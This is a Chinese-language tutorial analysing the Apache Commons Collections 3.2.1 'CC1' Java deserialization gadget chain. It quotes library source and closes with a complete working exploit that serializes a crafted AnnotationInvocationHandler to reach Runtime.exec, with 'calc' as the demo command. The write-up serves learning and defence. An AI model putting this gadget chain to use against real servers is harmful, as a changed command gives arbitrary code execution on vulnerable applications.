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1.前言
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。
2.环境
jdk-8u65
Commons Collections3.2.1
3.分析
3.1基础链子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Cc1 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});chain.transform(123);}
}
3.2分析几个重要的接口和类
Transformer接口
public interface Transformer {Object transform(Object var1);
}
这个接口其实就是一个转换器,完成不同的数据类型转换
ConstantTransformer类
public class ConstantTransformer implements Transformer, Serializable {private static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}
该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。
InvokerTransformer类
该类也实现了Transformer接口
看其构造器
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}
第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组
该类的transform方法可以执行任意方法
public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。
ChainedTransformer类
ChainedTransformer implements Transformer, Serializable {/** Serial version UID */private static final long serialVersionUID = 3514945074733160196L;/** The transformers to call in turn */private final Transformer[] iTransformers;/*** Factory method that performs validation and copies the parameter array.* * @param transformers the transformers to chain, copied, no nulls* @return the <code>chained</code> transformer* @throws IllegalArgumentException if the transformers array is null* @throws IllegalArgumentException if any transformer in the array is null*/public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);
该类也实现了Transformer接口
看其构造器
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}
iTransformers为其传入的参数,是一个接口类型的数组
看其transform方法
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数
3.3过程分析
hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)
最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。
new ConstantTransformer(Runtime.class)
第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]})
第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]})
第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}
第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc
chain.transform(123);
传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行
仔细分析chain.transform方法
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
遍历传入所有类的transform方法
Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}
Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime
Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);
Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对 Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
4.找利用链
4.1 TransformedMap
已知
InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化
主要是其中三个Map类
先看TransformedMap
protected Object transformKey(Object object) {if (keyTransformer == null) {return object;}return keyTransformer.transform(object);}protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}
两个方法都调用了transform方法,这里利用checkSetValue()
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}
构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。
keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}
巧的是decorate调用了构造函数
然后找哪里调用了TransformedMap类的checkSetValue方法
发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue
static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}
更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类
public class TransformedMapextends AbstractInputCheckedMapDecorator
AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue
4.2简单例子
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException{InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//先构造一个invokerHashMap hashMap=new HashMap();//用HashMap传入decoratehashMap.put(1,1);Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Runtime cmd=Runtime.getRuntime();for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(cmd);}//通过遍历Map,调用setValue触发checkSetValue}
}
然后再找哪里调用了setValue方法
发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}
String name = memberValue.getKey();
AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类
看构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类
如何反射获取AnnotationInvocationHandler 类,看下面代码
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);
4.3三个问题
1.Runtime类不可以序列化
2.执行setValue需要满足两个条件
3.setValue的值如何控制
问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);
问题2.两个if条件
if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
memberType 不为空,注解类传入target就不会空
问题3.利用ConstantTransformer传值解决
5.最终exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {Transformer[] Transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);//chainedTransformer.transform(Runtime.class);Map<Object, Object> hashMap = new HashMap<>();//用HashMap传入decoratehashMap.put("value", 1);Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(obj);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化// Runtime cmd=Runtime.getRuntime();//for(Map.Entry entry:transformedMap.entrySet())//{// entry.setValue(cmd);//}//通过遍历Map,调用setValue触发checkSetValue}}
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